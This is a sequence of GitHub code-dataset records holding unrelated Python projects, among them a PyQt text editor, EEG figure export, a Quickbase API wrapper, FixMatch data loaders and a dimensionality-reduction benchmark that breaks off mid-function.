guardar_accion.setShortcut('Ctrl+G')\n\n nuevo_accion=QAction('Nuevo',self)\n nuevo_accion.setShortcut('Ctrl+N')\n\n salir_accion=QAction('Salir',self)\n salir_accion.setShortcut('Ctrl+S')\n\n abrir_accion=QAction('Abrir',self)\n abrir_accion.setShortcut('Ctrl+A')\n\n \n\n archivo.addAction(guardar_accion)\n archivo.addAction(nuevo_accion)\n archivo.addAction(salir_accion)\n archivo.addAction(abrir_accion)\n\n \n\n salir_accion.triggered.connect(self.salir_trigger)\n archivo.triggered.connect(self.seleccionar)\n\n self.setWindowTitle('App Desktop')\n self.resize(600,400)\n\n self.show()\n\n\n def salir_trigger(self):\n if self.bloc.texto.toPlainText()=='':\n qApp.quit()\n else:\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n\n msg.setText(\"¿ Salir ?\")\n msg.setInformativeText(\"Desea salir sin guardar el archivo\")\n msg.setWindowTitle(\"¿ salir ?\")\n msg.setDetailedText(\"Si sale no se guardar nada de lo que se encuentra en pantalla\")\n msg.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n \n\t\n if msg.exec_()==1024:\n qApp.quit()\n else:\n self.bloc.texto_guardar()\n \n \n \n\n def seleccionar(self, q):\n if q.text() =='Guardar':\n self.bloc.texto_guardar()\n \n elif q.text()=='Abrir':\n self.bloc.texto_abrir()\n\n\n\napp=QApplication(sys.argv)\nmenu=menu()\nsys.exit(app.exec_())\n\n\n\n \n\n\n\n\n\n","repo_name":"eduardcantillo/app-desktop-python-editor-de-texto","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"23246868921","text":"# Author: Konstantinos Patlatzoglou \n\n# A script on exporting figures based on a results directory.\n\nimport os\nfrom pathlib import Path\n\nimport numpy as np\nimport json\nimport matplotlib\n\nfrom utils import utils\nfrom utils import output\n\n# ------------------------------EXPORT FIGURES PARAMETERS-------------------------------\nRESULTS_DIR_NAME = 'Model Testing'\n\n\nSTATE_COLORS = ['red', 'blue'] # Matplotlib color names\nCLASSES_COLORS = ['red', 'blue'] # Matplotlib color names\n\nmatplotlib.rcParams.update({'font.size': 14})\n# --------------------------------------------------------------------------------------\n\ndef main():\n\n current_path = Path.cwd()\n\n # ----------------------- IMPORT EXPERIMENT PARAMETERS --------------------------\n print('Importing Experiment Parameters...')\n\n result_path = current_path.parent / 'results' / RESULTS_DIR_NAME\n if not os.path.exists(result_path):\n print('Results Directory is missing')\n exit(1)\n\n EEG_DATASET_PARAMETERS = []\n for eeg_dataset_parameters_file in list(result_path.glob('EEG_DATASET_PARAMETERS_*.json')):\n EEG_DATASET_PARAMETERS.append(json.load(open(str(eeg_dataset_parameters_file))))\n\n MODEL_PARAMETERS = json.load(open(str(result_path / 'MODEL_PARAMETERS.json')))\n MODEL_INFO = json.load(open(str(result_path / 'MODEL_INFO.json')))\n\n CLASSES = None\n if MODEL_INFO['Targets'] == '1-hot':\n CLASSES = json.load(open(str(result_path / 'CLASSES.json')))\n\n # -------------------------------------------------------------------------------\n\n # ---------------------------- EEG DATASET ANALYSIS -----------------------------\n print('Exporting Dataset Figures...')\n\n dataset_export_paths = sorted([path for path in result_path.iterdir() if path.is_dir()])\n\n # For Each EEG Dataset Directory\n for d, dataset_export_path in enumerate(dataset_export_paths):\n subject_info_file_list = sorted(list(dataset_export_path.glob('*_info.json')))\n\n subjects = []\n predictions_list = []\n subject_info_list = []\n\n # For Each Subject\n for subject_info_file in subject_info_file_list:\n\n subject = subject_info_file.name.replace('_info.json', '')\n predictions = np.load(str(dataset_export_path / (subject + '_predictions.npy')), allow_pickle=True)\n subject_info = json.load(open(str(subject_info_file)))\n\n # Export Predictions Figure\n fig = output.plot_predictions(subject, predictions, subject_info['States'], MODEL_INFO['Targets'],\n target_values=subject_info['Target Values'], CLASSES=CLASSES,\n states_colors=STATE_COLORS, class_colors=CLASSES_COLORS)\n fig.savefig(str(dataset_export_path / (subject + '_predictions.png')))\n fig.clf()\n\n # Export History Figure\n if subject_info['History'] is not None:\n fig = output.plot_history(subject, subject_info['History'], loss=MODEL_PARAMETERS['Loss'],\n metrics=MODEL_PARAMETERS['Metrics'])\n fig.savefig(str(dataset_export_path / (subject + '_history.png')))\n fig.clf()\n\n # Export Confusion Matrix (Classification / Target Values)\n if MODEL_INFO['Targets'] == '1-hot' and subject_info['Target Values'] is not None:\n confusionMatrix = utils.confusionMatrix(predictions, subject_info['Target Values'], len(CLASSES))\n\n fig = output.plot_confusionMatrix(subject, confusionMatrix, CLASSES, normalize=False)\n fig.savefig(str(dataset_export_path / (subject + '_CM.png')))\n fig.clf()\n\n subjects.append(subject)\n predictions_list.append(predictions)\n subject_info_list.append(subject_info)\n\n\n if EEG_DATASET_PARAMETERS[d]['EEG_DATASET']['Target Values'] is not None:\n # Get Scores List\n scores_list = [subject_info['Score'] for subject_info in subject_info_list]\n\n fig = output.plot_all_scores(subjects, scores_list, MODEL_PARAMETERS['Loss'], MODEL_PARAMETERS['Metrics'])\n fig.savefig(str(dataset_export_path / 'All Scores.png'))\n fig.clf()\n # -------------------------------------------------------------------------------\n\n\nif __name__ == '__main__':\n main()","repo_name":"konspatl/DL-EEG","sub_path":"DL-EEG/export_figures.py","file_name":"export_figures.py","file_ext":"py","file_size_in_byte":4418,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"73672258790","text":"import os\nimport sys\nimport numpy as np\nimport tensorflow as tf\nimport glob\nimport json\nimport shutil\n\nimport gym\nimport gym_pointrobo\n\nfrom hwr.agents.pointrobo_ddpg import DDPG\nfrom hwr.cae.cae import CAE\nfrom hwr.training.pointrobot_trainer import PointrobotTrainer\nfrom hwr.utils import load_params, set_up_benchmark_params\n\n\n# loading the params:\nparams = load_params('params/benchmark_trainings_empty.json')\nbenchmark_keys = params[\"benchmark\"].keys()\n\n# deleting the previous runs logs:\nlogdir_files = glob.glob(os.path.join(params[\"trainer\"][\"logdir\"], \"*\"))\nfor f in logdir_files:\n if os.path.isdir(f):\n shutil.rmtree(f)\n else:\n os.remove(f)\n\nfor key in benchmark_keys:\n # loading original params:\n params = load_params('params/benchmark_trainings_empty.json')\n\n # setting up training run:\n params = set_up_benchmark_params(params, key)\n params[\"trainer\"][\"logdir\"] = os.path.join(params[\"trainer\"][\"logdir\"], key)\n param_log_path = os.path.join(params[\"trainer\"][\"logdir\"], \"params.json\") \n\n # deleting the previous checkpoints:\n if os.path.isdir(params[\"trainer\"][\"model_dir\"]):\n ckp_files = glob.glob(os.path.join(params[\"trainer\"][\"model_dir\"], '*'))\n for f in ckp_files:\n os.remove(f) \n\n #Initialize the environment\n env = gym.make(\n params[\"env\"][\"name\"],\n params=params,\n )\n test_env = gym.make(\n params[\"env\"][\"name\"],\n params=params\n )\n\n # initialize the agent:\n policy = DDPG(\n env=env,\n params=params\n )\n\n # initialize the trainer:\n trainer = PointrobotTrainer(\n policy,\n env,\n params,\n test_env=test_env)\n\n # saving the params:\n param_log_path = os.path.join(params[\"trainer\"][\"logdir\"], \"params.json\")\n with open(param_log_path, 'w') as f:\n json.dump(params[\"benchmark\"][key], f)\n\n trainer.train()","repo_name":"KatharinaHermann/tum-Advanced-DL-for-robotics-RL","sub_path":"src/benchmark_trainings.py","file_name":"benchmark_trainings.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"6505411724","text":"code = []\nfor l in open(\"input\"):\n instruction, arg = l.strip().split(\" \")\n code.append((instruction, int(arg)))\n\ndef run(code):\n ip = 0\n acc = 0\n visited = []\n while True:\n visited.append(ip)\n i, a = code[ip]\n if i == \"nop\":\n ip += 1\n elif i == \"acc\":\n acc += a\n ip +=1\n elif i == \"jmp\":\n ip += a\n\n if ip in visited or ip == len(code):\n break\n return ip, acc\n\n_, acc = run(code)\nprint(acc)\n\nfor i in range(len(code)):\n ins, arg = code[i]\n if ins == \"jmp\":\n code[i] = (\"nop\", arg)\n ip, acc = run(code)\n if ip == len(code):\n print(acc)\n break\n else:\n code[i] = (\"jmp\", arg)\n if ins == \"nop\":\n code[i] = (\"jmp\", arg)\n ip, acc = run(code)\n if ip == len(code):\n print(acc)\n break\n else:\n code[i] = (\"nop\", arg)\n","repo_name":"rikhul/advent_of_code_2020","sub_path":"8/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"6905277533","text":"import pandas as pd \nimport requests\nimport getpass\nimport base64\n\n\nclass QuickbaseToolkit:\n \n '''\n https://developer.quickbase.com/operation/getApp for info on arguments\n args - (qb_realm_hostname, appid, authorization, user_agent='User Agent Not Supplied')\n '''\n \n def __init__(self, qb_realm_hostname, appid, authorization\n , user_agent='User Agent Not Supplied'):\n \n self.qb_realm_hostname = qb_realm_hostname\n self.appid = appid\n self.authorization = 'QB-USER-TOKEN ' + authorization\n self.user_agent = user_agent\n \n \n \n #this is where we pass credentials in \n self.proxies = {'https' : 'http://' + getpass.getuser() + ':' \n + str(base64.b64decode(open(r'C:\\config\\config.txt', \"r\").read()))[2:-1] \n + '@proxy:9119'}\n \n \n \n self.headers = {\n \t'QB-Realm-Hostname': qb_realm_hostname\n \t, 'User-Agent': user_agent\n \t, 'Authorization': 'QB-USER-TOKEN ' + authorization\n }\n \n \n def app_info(self): \n r = requests.get(\n 'https://api.quickbase.com/v1/apps/{}'.format(self.appid)\n , proxies = self.proxies\n , headers = self.headers\n )\n \n return pd.DataFrame(r.json(), index=[0])\n\n def table_info(self): \n params = {\n \t'appId': self.appid\n }\n r = requests.get(\n 'https://api.quickbase.com/v1/tables'\n , proxies = self.proxies\n , params = params\n , headers = self.headers\n ) \n \n table_df = pd.DataFrame(r.json())\n table_df['appId'] = self.appid\n table_df['appName'] = self.app_info()['name'][0]\n \n \n return table_df\n\n def field_info(self): \n\n \n table_df = self.table_info()\n \n app_tables = list(zip(table_df['id'], table_df['name']))\n \n field_df_list = [] \n \n for table in app_tables:\n \n params = {\n \t'tableId': table[0]\n , 'includeFieldPerms': 'true'\n }\n r = requests.get(\n 'https://api.quickbase.com/v1/fields' \n , params = params\n , proxies = self.proxies\n , headers = self.headers\n )\n \n field_df = pd.DataFrame(r.json())\n \n field_df['tableId'] = table[0]\n field_df['tableName'] = table[1]\n field_df['appId'] = self.appid\n field_df['appName'] = self.app_info()['name'][0]\n \n field_df_list.append(field_df) \n field_df_all = pd.concat(field_df_list)\n\n return field_df_all\n \n def report_info(self): \n \n table_df = self.table_info()\n \n app_tables = list(zip(table_df['id'], table_df['name']))\n \n report_df_list = [] \n \n for table in app_tables: \n \n params = {\n \t'tableId': table[0]\n }\n r = requests.get(\n 'https://api.quickbase.com/v1/reports'\n , params = params\n , proxies = self.proxies\n , headers = self.headers\n )\n \n report_df = pd.DataFrame(r.json())\n \n report_df['tableId'] = table[0]\n report_df['tableName'] = table[1]\n report_df['appId'] = self.appid\n report_df['appName'] = self.app_info()['name'][0]\n \n report_df_list.append(report_df) \n report_df_all = pd.concat(report_df_list)\n\n return report_df_all \n \n \n def relationship_info(self): \n \n table_df = self.table_info()\n \n app_tables = list(zip(table_df['id'], table_df['name']))\n \n relationship_df_list = [] \n relationship_df_all = pd.DataFrame(['No Relationships'])\n \n for table in app_tables: \n \n r = requests.get(\n 'https://api.quickbase.com/v1/tables/{}/relationships'.format(table[0])\n , proxies = self.proxies\n , headers = self.headers\n )\n \n \n if r.json()['metadata']['numRelationships'] == 0:\n continue\n \n relationship_df = pd.DataFrame(r.json())\n \n relationship_df['tableId'] = table[0]\n relationship_df['tableName'] = table[1]\n relationship_df['appId'] = self.appid\n relationship_df['appName'] = self.app_info()['name'][0]\n \n relationship_df_list.append(relationship_df) \n relationship_df_all = pd.concat(relationship_df_list)\n\n return relationship_df_all \n \n def get_report(self, tableid, reportid, batch_size=500): \n '''batch_size - optional arg for batch size of report load... \n don't go over 1000 or records will fall out'''\n \n report_chunk_list = []\n skip = 0 \n records = 1\n \n while records != 0:\n \n params = {\n \t'tableId': tableid #bqtqseh2p\n , 'top': batch_size\n , 'skip': skip\n }\n \n r = requests.post(\n 'https://api.quickbase.com/v1/reports/{}/run'.format(reportid), \n params = params, \n headers = self.headers,\n proxies = self.proxies\n )\n \n #get the data\n data = r.json()['data']\n \n \n records = len(data)\n \n if records != 0: \n data_step_1 = [list(x.values()) for x in data] \n data_step_2 = [[list(y.values())[0] for y in x] for x in data_step_1] \n column_nums = list(data[0].keys())\n \n df = pd.DataFrame(data_step_2, columns = column_nums)\n \n #qb_df = union_df(qb_df, df)\n \n report_chunk_list.append(df)\n \n skip += batch_size\n print(str(skip - batch_size + len(data)) + ' rows loaded')\n \n \n \n report_df = pd.concat(report_chunk_list)\n \n #rename columns \n fields = r.json()['fields']\n \n column_names = {} #empty dictionary to add \n for i in [[str(x['id']) , x['label'] ]for x in fields]:\n column_names[i[0]] = i[1]\n \n \n report_df = report_df.rename(columns=column_names) \n \n return report_df\n \n","repo_name":"plancaster88/python_projects","sub_path":"quickbase/quickbase_toolkit.py","file_name":"quickbase_toolkit.py","file_ext":"py","file_size_in_byte":6822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"30658797990","text":"from json import load\nimport netmiko\n\n\ndef import_connection_settings(file_name):\n with open(file_name, 'r+') as config:\n result = load(config)\n return result\n\n\ndef print_result(config_connection_and_result_object):\n file_name = 'result.txt'\n file = open(file_name, 'a+')\n for i in config_connection_and_result_object['result']:\n print(i)\n file.append(i)\n file.close()\n print('\\n\\n\\n Your config result is in result.txt')\n return config_connection_and_result_object\n\n\ndef main():\n load_config = import_connection_settings('hp_server_configure.json')\n processed_connection = process_connection(load_config)\n result = process_commands(processed_connection)\n print_output = print_result(result)\n return print_output\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"MatthewDaffern/automating_framework","sub_path":"hp_server_configure.py","file_name":"hp_server_configure.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38042974513","text":"from matplotlib import pyplot as plt\nimport numpy as np\nfrom PIL import Image\n\npath = \"raw_images/raw_image.raw\"\nwith open(path, 'r') as rawdata:\n rawdata.seek(0)\n data = np.fromfile(rawdata, dtype='>H').reshape(680, 680)\n\nplt.imshow(data, cmap='gray')\nplt.axis('off')\nplt.show()\n\n","repo_name":"Shawn94/X-ray-object-detection-in-real-time","sub_path":"image_preprocess/raw_to_png.py","file_name":"raw_to_png.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"18145671274","text":"import torch\n\n\ndef loss_getter(model_type: str):\n \"\"\"\n Returns the criterion to corresponding model\n \"\"\"\n if model_type == \"LSTM\":\n return cohortney_log_loss\n else:\n raise Exception(\"Unknown model type\")\n\n\ndef cohortney_log_loss(\n partitions: torch.Tensor, # shape = [batch_size, n_steps, n_classes + 1]\n lambdas: torch.Tensor, # shape = [n_clusters, batch_size, n_steps, n_classes]\n gamma: torch.Tensor, # shape = [n_clusters, batch_size]\n epsilon: float,\n):\n \"\"\"\n Computes negative log likelihood for partitions\n \"\"\"\n # computing poisson parameters\n dts = partitions[:, 0, 0] # shape = [batch_size,]\n dts = dts[None, :, None, None] # shape = [1, batch_size, 1, 1]\n poisson_param = (\n lambdas * dts\n ) # shape = [n_clusters, batch_size, n_steps, n_classes]\n\n # preparing partitions\n p = partitions[None, :, :, 1:] # shape = [1, batch_size, n_steps, n_classes]\n\n # computing negative log likelihoods of every timestamp\n timestamp_nll = (\n poisson_param - p * torch.log(poisson_param + epsilon) + torch.lgamma(p + 1)\n )\n\n # computing log likelihoods of data points\n cluster_batch_nll = torch.sum(timestamp_nll, dim=(2, 3))\n\n # computing loss\n em_loss = gamma * cluster_batch_nll\n em_loss = torch.sum(em_loss)\n\n return em_loss\n","repo_name":"adasegroup/sequence_clusterers","sub_path":"src/utils/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"71344323110","text":"# Data manipulation\nimport numpy as np\nimport Constants as cts\nfrom PIL import Image\nfrom torchvision import datasets\nfrom torchvision import transforms\nfrom CTAugment import augment, cutout_strong\n\n# Set randomness reproducibility\nnp.random.seed(42)\n\n\n# -----TRANSFORMATIONS----- #\ndef tensor_normalizer(mean, std):\n # Normalizing the testing images\n return transforms.Compose([transforms.ToTensor(), transforms.Normalize(mean=mean, std=std)])\n\n\ndef weakly_augmentation(mean, std):\n # Perform weak transformation on labeled and unlabeled training images\n if cts.DATASET[0] != \"SVHN\":\n weak_transform = transforms.Compose([\n transforms.RandomHorizontalFlip(),\n transforms.RandomAffine(degrees=0, translate=(0.125, 0.125)),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)\n ])\n else:\n weak_transform = transforms.Compose([\n transforms.RandomAffine(degrees=0, translate=(0.125, 0.125)),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)\n ])\n\n return weak_transform\n\n\ndef cta_augmentation_labeled_data(mean, std, cta):\n # Perform weak transformation on labeled and unlabeled training images\n\n cta_transform = transforms.Compose([\n augment(cta, True),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)\n ])\n return cta_transform\n\n\ndef split_labeled_unlabeled(num_labeled, n_classes, labels, balanced_split=True, unbalance=0, unbalanced_proportion=1.0,\n sample_proportion=1):\n labeled_indeces = []\n unlabeled_indeces = []\n if balanced_split:\n # Define number of labeled samples per class\n lsamples_per_class = num_labeled // n_classes\n # Get indeces of each class to make it balanced based on lsamples_per_class\n for i in range(n_classes):\n tmp_indeces = np.where(labels == i)[0]\n np.random.shuffle(tmp_indeces)\n labeled_indeces.extend(tmp_indeces[:lsamples_per_class])\n unlabeled_indeces.extend(tmp_indeces[lsamples_per_class:int(len(tmp_indeces) * sample_proportion)])\n\n else:\n lsamples_per_class = num_labeled // n_classes\n unbalanced_class = int(lsamples_per_class * unbalanced_proportion)\n for i in range(n_classes):\n tmp_indeces = np.where(labels == i)[0]\n np.random.shuffle(tmp_indeces)\n if i == unbalance:\n labeled_indeces.extend(tmp_indeces[:unbalanced_class])\n if unbalanced_proportion < 1.0:\n unlabeled_indeces.extend(tmp_indeces[lsamples_per_class:int(len(tmp_indeces) * sample_proportion)])\n else:\n unlabeled_indeces.extend(tmp_indeces[unbalanced_class:int(len(tmp_indeces) * sample_proportion)])\n else:\n labeled_indeces.extend(tmp_indeces[:lsamples_per_class])\n unlabeled_indeces.extend(tmp_indeces[lsamples_per_class:int(len(tmp_indeces) * sample_proportion)])\n\n return labeled_indeces, unlabeled_indeces\n\n\ndef applyTransformations(root, labeled_indeces_extension, labeled_indeces, unlabeled_indeces, mean, std, cta):\n # Transform label data -> weak transformation\n train_labeled_data = DataTransformation(root, labeled_indeces_extension,\n transform=weakly_augmentation(mean, std))\n\n # Transform label data -> strong transformation (CTA)\n train_labeled_data_cta = DataTransformation(root, labeled_indeces,\n transform=cta_augmentation_labeled_data(mean, std, cta))\n\n # Transform unlabeled data -> weak transformationa and CTAugment\n train_unlabeled_data = DataTransformation(root, unlabeled_indeces,\n transform=SSLTransform(mean, std, cta))\n\n return train_labeled_data, train_unlabeled_data, train_labeled_data_cta\n\n\n# -----CONSTRUCT DATA OBJECTS----- #\nclass DataTransformation(cts.DATASET[3]):\n def __init__(self, root, indeces, transform=None, target_transform=None, download=True):\n # Accessing CIFAR10 from torchvision\n super().__init__(root, transform=transform, target_transform=target_transform, download=download)\n if indeces is not None:\n self.data = self.data[indeces]\n if hasattr(self, 'targets'):\n self.targets = np.array(self.targets)[indeces]\n else:\n self.labels = np.array(self.labels)[indeces]\n\n def __getitem__(self, index):\n if hasattr(self, 'targets'):\n img, target = self.data[index], self.targets[index]\n if cts.DATASET[0] == \"MNIST\":\n img = np.repeat(img[:, :, np.newaxis], 3, axis=2)\n else:\n img, target = self.data[index], self.labels[index]\n img = np.transpose(img, (1, 2, 0)) # Transpose image channels to convert into CIFAR format\n img = Image.fromarray(img)\n\n if self.transform is not None:\n img = self.transform(img)\n\n return img, target\n\n\nclass DataTransformationMNIST(cts.MNIST[3]):\n def __init__(self, root, indeces, transform=None, target_transform=None, download=True, train=True):\n # Accessing CIFAR10 from torchvision\n super().__init__(root, transform=transform, target_transform=target_transform, download=download, train=train)\n if indeces is not None:\n self.data = self.data[indeces]\n self.targets = np.array(self.targets)[indeces]\n\n def __getitem__(self, index):\n img, target = self.data[index], self.targets[index]\n img = np.array(np.repeat(img[:, :, np.newaxis], 3, axis=2))\n img = Image.fromarray(img)\n img = img.resize((32, 32)) # Resize for 32x32 images\n if self.transform is not None:\n img = self.transform(img)\n return img, target\n\n\n# -----UNLABELED DATA WEAKLY & STRONGLY AUGMENTATION----- #\nclass SSLTransform(object):\n def __init__(self, mean, std, cta):\n # Weakly Data Augmentation\n self.weakly = weakly_augmentation(mean, std)\n # Strongly Data Augmentation\n self.strongly = transforms.Compose([\n augment(cta, False),\n cutout_strong(level=1),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)\n ])\n\n def __call__(self, x):\n weakly_augment = self.weakly(x)\n strongly_augment = self.strongly(x)\n return weakly_augment, strongly_augment\n\n\n# -----LOADING DATA----- #\ndef load_dataset(dataset):\n labels = None\n if dataset == 'CIFAR-10':\n raw_data = datasets.CIFAR10(cts.DATASET[5], train=True, download=True)\n labels = np.array(raw_data.targets)\n elif dataset == 'MNIST':\n raw_data = datasets.MNIST(cts.DATASET[5], train=True, download=True)\n labels = np.array(raw_data.targets)\n elif dataset == 'SVHN':\n raw_data = datasets.SVHN(cts.DATASET[5], split='train', download=True)\n labels = np.array(raw_data.labels)\n else:\n print(\"Wrong dataset name\")\n exit(0)\n\n test_data = None\n if dataset == 'CIFAR-10':\n test_data = datasets.CIFAR10(cts.DATASET[5], train=False,\n transform=tensor_normalizer(mean=cts.DATASET[1], std=cts.DATASET[2]),\n download=True)\n elif dataset == 'MNIST':\n test_data = datasets.MNIST(cts.DATASET[5], train=False,\n transform=tensor_normalizer(mean=cts.DATASET[1], std=cts.DATASET[2]),\n download=True)\n elif dataset == 'SVHN':\n test_data = datasets.SVHN(cts.DATASET[5], split='test',\n transform=tensor_normalizer(mean=cts.DATASET[1], std=cts.DATASET[2]),\n download=True)\n else:\n exit(0)\n\n return labels, test_data\n\n\ndef dataset_loader(dataset, num_labeled, balanced_split=True, unbalance=0, unbalanced_proportion=1,\n sample_proportion=1):\n labels, test_data = load_dataset(dataset)\n\n labeled_indeces, unlabeled_indeces = split_labeled_unlabeled(\n num_labeled,\n n_classes=10,\n labels=labels,\n balanced_split=balanced_split,\n unbalance=unbalance,\n unbalanced_proportion=unbalanced_proportion,\n sample_proportion=sample_proportion\n )\n\n return labeled_indeces, unlabeled_indeces, test_data\n","repo_name":"fernando2393/FixMatch-Exploration","sub_path":"data/DataLoader.py","file_name":"DataLoader.py","file_ext":"py","file_size_in_byte":8533,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"71"} +{"seq_id":"25341195408","text":"a = 'abcdefghijklmnopqrstuvwxyz'\nb = 'zyxwvutsrqponmlkjihgfedcba'\na2b = str.maketrans(a, b, ',.')\nb2a = str.maketrans(b, a)\n\ndef encode(plain_text):\n encoded = plain_text.lower().translate(a2b).replace(' ', '')\n s = ''\n m, n = divmod(len(encoded), 5)\n for i in range(m):\n s += encoded[i*5:i*5+5] + ' '\n if n:\n s += encoded[-n:]\n return s.strip()\n\n\ndef decode(ciphered_text):\n return ciphered_text.translate(b2a).replace(' ', '')","repo_name":"Kalpesh-Makwana/Python","sub_path":"Exercism Exercises/atbash_cipher.py","file_name":"atbash_cipher.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74484348069","text":"import inline as inline\nimport pandas as pd\nimport numpy as np\nfrom sklearn import preprocessing\nimport matplotlib.pyplot as plt\nimport classification\nimport matplotlib.patheffects as pe\nfrom matplotlib.legend_handler import HandlerLine2D, HandlerTuple\nfrom matplotlib.patches import Patch\nfrom matplotlib.lines import Line2D\nimport xlsxwriter\nimport os\n\nif os.path.exists(\"ReductionData.xlsx\"):\n os.remove(\"ReductionData.xlsx\")\nworkbook = xlsxwriter.Workbook('ReductionData.xlsx')\n\nnp.set_printoptions(precision=4, suppress=True)\nplt.style.use('seaborn-whitegrid')\n\npd.set_option(\"display.max.columns\", None)\nfrom sklearn import metrics\nGraphCount = 0\n\n# Converts string data to engtumerated data\ndef enumerate(csv, label):\n csv = csv.replace('?', np.nan)\n csv = csv.dropna()\n\n le = preprocessing.LabelEncoder()\n le.fit(csv[label])\n csv[label] = le.transform(csv[label])\n\n return csv\n\n# Takes in the data, and a list of labels to apply enumeration\ndef enumerate_data(csv, labels):\n for l in labels:\n csv = enumerate(csv, l)\n\n return csv\n\n# Enumerates all columns in dataset\ndef enumerate_all(csv):\n for l in csv.columns:\n csv = enumerate(csv, l)\n return csv\n\nclass ReducedData:\n def __init__(self, xData, xTrainingData , xTestData, dimension, elapsedTime):\n self.xData = xData\n self.xTrainingData = xTrainingData\n self.xTestData = xTestData\n self.dimension = dimension\n self.classifierScore = {}\n self.classifierTime = {}\n self.elapsedTime = elapsedTime\n\n def addClassifierScore(self, name, score, elapsedTime):\n self.classifierScore[name] = score\n self.classifierTime[name] = elapsedTime\n\n\nclass ReducedDataSet:\n def __init__(self, name):\n self.name = name\n self.reducedData: ReducedData = []\n self.yTrainingData = None\n self.yTestData = None\n\n def addReducedData(self, xData, xTrainingData , xTestData, Dimension, elapsedTime):\n self.reducedData.append(ReducedData(xData, xTrainingData , xTestData, Dimension, elapsedTime))\n return self.reducedData[-1]\n\n\nclass DataObject:\n\n def __init__(self, name, data):\n self.name = name\n\n\n data = data.replace('?', np.nan)\n data = data.dropna()\n datacopy = data.copy(deep=True)\n\n self.x = datacopy.drop(['Class identifier'], axis=1)\n self.dimensions = len(data.columns) - 1\n\n self.maxDimensionalReduction = self.dimensions - 1\n if self.maxDimensionalReduction > 26:\n self.maxDimensionalReduction = 26\n\n self.y = data['Class identifier']\n self.classes = self.y.nunique()\n self.yTrainingData = None\n self.yTestData = None\n self.xTrainingData = None\n self.xTestData = None\n self.reducedDataSets: ReducedDataSet = []\n self.classifierScore = {}\n self.classifierTime = {}\n\n def addClassifierScore(self, name, score, elapsedTime):\n self.classifierScore[name] = score\n self.classifierTime[name] = elapsedTime\n\n def newReducedDataSet(self, name):\n self.reducedDataSets.append(ReducedDataSet(name))\n return self.reducedDataSets[-1]\n\n def createSpreadSheet(self):\n worksheet = workbook.add_worksheet(self.name)\n worksheet.set_column(0, (len(self.reducedDataSets) * 2) + 1, 20)\n\n row = 0\n col = 0\n\n worksheet.write(row, col, \"Result without reduction\")\n row=1\n worksheet.write(row, col, \"Classification Algorithm\")\n worksheet.write(row, col + 1, \"Dimensions\")\n worksheet.write(row, col + 2, \"Score\")\n worksheet.write(row, col + 3, \"Classification Time\")\n row += 1\n for classifier in classification.classificationAlgorithms:\n worksheet.write(row, col, classifier.name)\n worksheet.write(row, col + 1, self.dimensions)\n worksheet.write(row, col + 2, self.classifierScore[classifier.name])\n worksheet.write(row , col + 3, self.classifierTime[classifier.name])\n row+=1\n\n worksheet.write(row + 3, col, \"Reduction scores\")\n row +=4\n\n for classifier in classification.classificationAlgorithms:\n col = 0\n worksheet.write(row, col, classifier.name + \" Classifier\")\n row += 1\n rowOffset = row\n row+=1\n\n for dimension in [ds.dimension for ds in self.reducedDataSets[0].reducedData]:\n worksheet.write(row, col, dimension)\n row+=1\n row = rowOffset\n\n colOffset = 1\n\n for datasets in self.reducedDataSets:\n col = colOffset\n row=rowOffset\n worksheet.write(row, col, datasets.name + \" Score\")\n worksheet.write(row, col + 1, datasets.name + \" Time\")\n row+=1\n for data in datasets.reducedData:\n col = colOffset\n worksheet.write(row, col, data.classifierScore[\"KNeighbors\"])\n worksheet.write(row, col + 1, data.elapsedTime)\n col = colOffset\n row+=1\n colOffset+=2\n\n\n\n def createGraph(self):\n global GraphCount\n\n plt.figure(GraphCount)\n\n for classifier in classification.classificationAlgorithms:\n\n scoreData = []\n for datasets in self.reducedDataSets:\n scores = [ds.classifierScore[classifier.name] for ds in datasets.reducedData]\n scoreData.append(scores)\n\n dimensions = [ds.dimension for ds in datasets.reducedData]\n\n df = pd.DataFrame(np.c_[scoreData[0], scoreData[1], scoreData[2]], index=np.arange(0, self.maxDimensionalReduction, 1).tolist(),\n columns=[rds.name for rds in self.reducedDataSets])\n\n ax = df.plot.bar()\n\n lines, labels = ax.get_legend_handles_labels()\n\n plt.legend(lines, labels, title='Reduction Algorithm',\n bbox_to_anchor=(0, -0.3), loc=\"lower left\",\n ncol=2, borderaxespad=0.)\n plt.subplots_adjust(wspace=2)\n plt.title(\n self.name,\n loc='right')\n\n plt.title(classifier.name, loc='left')\n plt.ylabel(\"Prediction accuracy (bars)\")\n plt.xlabel(\"Number of dimensions\")\n plt.margins(y=0)\n\n plt.xticks(list(range(0, self.maxDimensionalReduction)), dimensions)\n\n ax2 = ax.twinx()\n for datasets in self.reducedDataSets:\n ax2.plot(list(range(0, self.maxDimensionalReduction)),\n [ds.elapsedTime for ds in datasets.reducedData],marker='o',markersize=4, lw=1, markeredgecolor='black')\n\n # 